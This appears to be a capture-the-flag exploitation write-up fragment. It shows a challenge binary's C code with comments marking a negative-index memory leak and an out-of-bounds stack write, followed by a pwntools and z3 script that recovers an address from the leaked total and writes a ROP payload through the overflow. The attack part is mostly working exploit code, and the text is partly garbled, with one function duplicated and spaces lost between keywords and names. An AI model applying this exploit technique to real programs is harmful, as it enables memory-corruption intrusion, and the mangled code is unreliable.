voidinput_all_data(Item *items, int n) { for (int i = 0; i < n; i++) { input_data(items, i); } }
int64_tcalc_total(Item *items, int n) { int64_t total = 0; int i = n - 1; // 如果传入n是0,得到-1,但是不能读libc do { total += items[i].price * items[i].quantity; // if n=0 is input, then i =-1, we can get some info } while(i-- > 0); return total; }
if (get_value("Would you like to fix data? [1=Yes] ") == 1) { while (1) { off_t i = get_value("Index to modify (-1 to quit): "); if (i < 0 || i >= n) break; else input_data(items, i); // 这里可以越界写(真是太难发现了) } printf("Total: $%ld\n", calc_total(items, n)); }
int64_tcalc_total(Item *items, int n) { int64_t total = 0; int i = n - 1; // 如果传入n是0,得到-1,但是不能读libc do { total += items[i].price * items[i].quantity; // if n=0 is input, then i =-1, we can get some info } while(i-- > 0); return total; }
from pwn import * from z3 import * filename="./chall" libc_name="./libc-2.31.so" io = process(filename) # context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60']
defdebug(): cmd = "" # cmd +="brva 0xA5B\n" # break at calling input_all_data(items, n); # cmd +="brva 0xB3D\n" #break at alloca ,which cause overflow cmd +="brva 0x0C5F\n"# break at ret # cmd +="brva 0xA85\n" # break at calc_total, to see how to leak # cmd +="brva 0xA43\n" # break at write stack gdb.attach(io,cmd)
defsolve(total): high = BitVec("high",16) mid = BitVec("mid",20) low = BitVecVal(0xb6c,32) solver = Solver() solver.add(high>=0x5500) solver.add(high<=0x56ff) mid_low = (ZeroExt(12,mid)<<12)+low solver.add((mid_low*ZeroExt(16,high)) == total) solver.check() m = solver.model() mid_ans = int(str(m.evaluate(mid))) high_ans = int(str(m.evaluate(high))) # print("mid: %x" % mid_ans) # print("high: %x" % high_ans) ans = 0 ans = ans + (high_ans << 32) ans = ans + (mid_ans << 12) ans = ans +0xb6c print("ans: %x" % ans) return ans
defmy_rop(payload): i = 0 base = 11# offset from calloced to stack ret addr io.recvuntil('Would you like to fix data? [1=Yes] ') io.sendline('1') while(i+base<len(payload)+base): io.recvuntil('Index to modify (-1 to quit): ') io.sendline(str(i+base)) io.recvuntil(' Price: $') io.sendline(str(payload[i]&0xffffffff)) # success("time " + str(i) + " " + "%08d"%(payload[i]&0xffffffff)) io.recvuntil(' Quantity: ') io.sendline(str(payload[i]>>32)) # success("time " + str(i) + " " + str((payload[i]&0xffffffff00000000)>>32)) i = i+1 io.recvuntil('Index to modify (-1 to quit): ') io.sendline('-1')